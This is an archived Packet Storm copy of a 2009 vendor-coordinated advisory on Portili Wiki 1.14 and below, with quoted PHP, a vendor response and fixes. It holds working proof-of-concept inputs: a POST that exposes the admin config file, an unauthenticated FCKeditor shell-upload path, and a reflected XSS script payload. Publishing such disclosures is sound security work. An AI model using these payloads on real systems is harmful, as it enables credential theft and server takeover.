the last unbiased stronghold

Portili Personal And Team Wiki Disclosure / XSS / Execution

Portili Personal And Team Wiki Disclosure / XSS / Execution
Posted Nov 5, 2009
Authored by Abysssec | Site abysssec.com

The Portili Personal and Team Wiki versions 1.14 and below suffer from cross site scripting, shell upload, and information and password disclosure vulnerabilities.

tags | exploit, shell, vulnerability, xss
MD5 | 8aacc0b06d30b5342ac36f1290e124a0

Portili Personal And Team Wiki Disclosure / XSS / Execution

Change Mirror Download
Abysssec Inc Public Advisory


Title : Portili Personal and Team Wiki Multiple Remote Vulnerabilities
Affected Version : Portili Personal and Team Wik <= 1.14
Vendor Site : www.Portili.com

Discovery : www.Abysssec.com

Vendor Contact : 10/4/2009
Vendor Response : 11/4/2009

Vendor Response :


i have fixed all the vulnerabilities outlined and will release the fixes in the next version of the wiki.
The most troublesome vulnerabilities have come from the included ajaxfilemanager 3rd party image manager
application (particularly in trying to integrate it with my own user authentication system).
I'm planning to completely overhaul this at some point.



Description :

this vulnerabites founded for a internal penetration testing project but now we decide to send vulnerabites to vendor.
so there is no point to keep these private anymore these vulnerabities are just for educational purpose and author will
be not be responsible for any damage using this vulnerabiltes .


Vulnerabilites :


1- Admin Password Disclosure Exploit in ajaxfilemanager/ajax_save_name.php

Vulnerability :

there an intersting vulnerability in this code .


line 16-23

elseif(empty($_POST['name']))
{
$error = ERR_RENAME_EMPTY;
}elseif(!preg_match("/^[a-zA-Z0-9 _\-.]+$/", $_POST['name']))
{
$error = ERR_RENAME_FORMAT;
}elseif(empty($_POST['original_path']) || !file_exists($_POST['original_path']))




=======================================

line 39-68

//update record of session if image exists in session for cut or copy
include_once(CLASS_SESSION_ACTION);
$sessionAction = new SessionAction();
$selectedDocuments = $sessionAction->get();
if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['original_path']) && sizeof($selectedDocuments))
{
if(($key = array_search(basename($_POST['original_path']), $selectedDocuments)) !== false)
{
$selectedDocuments[$key] = $_POST['name'];
$sessionAction->set($selectedDocuments);

}

}elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['original_path']))
{
$sessionAction->setFolder($_POST['original_path']);
}
$path = addTrailingSlash(getParentPath($_POST['original_path'])) . $_POST['name'];
if(is_file($path))
{
include_once(CLASS_FILE);
$file = new file($path);
$fileInfo = $file->getFileInfo();
}else
{
include_once(CLASS_MANAGER);
$manager = new manager($path, false);
$fileInfo = $manager->getFolderInfo();
}
}

===============================================================================
there is two problem in code first is it won't check for logged user and next
is in the logic of this code . as you can see in code we can change any directory
even config directory so we can copy the config to uplods and then you can
download the config file that contains user / pass of administrator .

PoC : http://vulnerable.com/ajaxfilemanager/ajax_save_name.php

POST: original_path=../application/config&name=uploads

now you can go and download the config .


Fast Solution :

add this lines to first of ajax_save_name.php

// ensure that only logged in users may access this script
if (!file_exists('../authenticate_user.php')) { exit("couldn't locate the file authenticate_user.php"); } //exit if the user authentication script cannot be found
require_once('../authenticate_user.php'); //exit if the user is not authenticated by the codeigniter application




2- File Upload Vulnerability /Fckeditor

Vulnerability :

Using Fckeditor without any authentication will give ability to attacker to
upload his / her own file and fckeditor won't check file extention
it will give ability to attacker upload a malicius server side ASP / ASPX / PHP / JSP .
so this vulnerability can creation access to server / portal completely .


PoC : http://www.vulnerable.com/fckeditor/editor/filemanager/connectors/test.html


3- Information Leakage in /phpinfo.php

Vulnerability:

there is phpinfo.php can leak information about path and installation of web / php and
disabled / enabled functions as well as extentions and modules .

PoC : http://www.vulnerable.com/phpinfo.php


4- Cross Site Scripting in ajaxfilemanager/ajaxfilemanager.php


Vulnerability :

after you logged in into the admin panel with a valid password
there is a uncheked variable named view .

line 49-61

if(!empty($_GET['view']))
{
switch($_GET['view'])
{
case 'detail':
case 'thumbnail':
$view = $_GET['view'];
break;
default:
$view = CONFIG_DEFAULT_VIEW;
}
}else
{
$view = CONFIG_DEFAULT_VIEW;
}

PoC : http://vulnerable.com/ajaxfilemanager/ajaxfilemanager.php?path=../uploads/&view=1<script>alert("abysssec")</script>



feel free to contact me : admin [at] abysssec.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close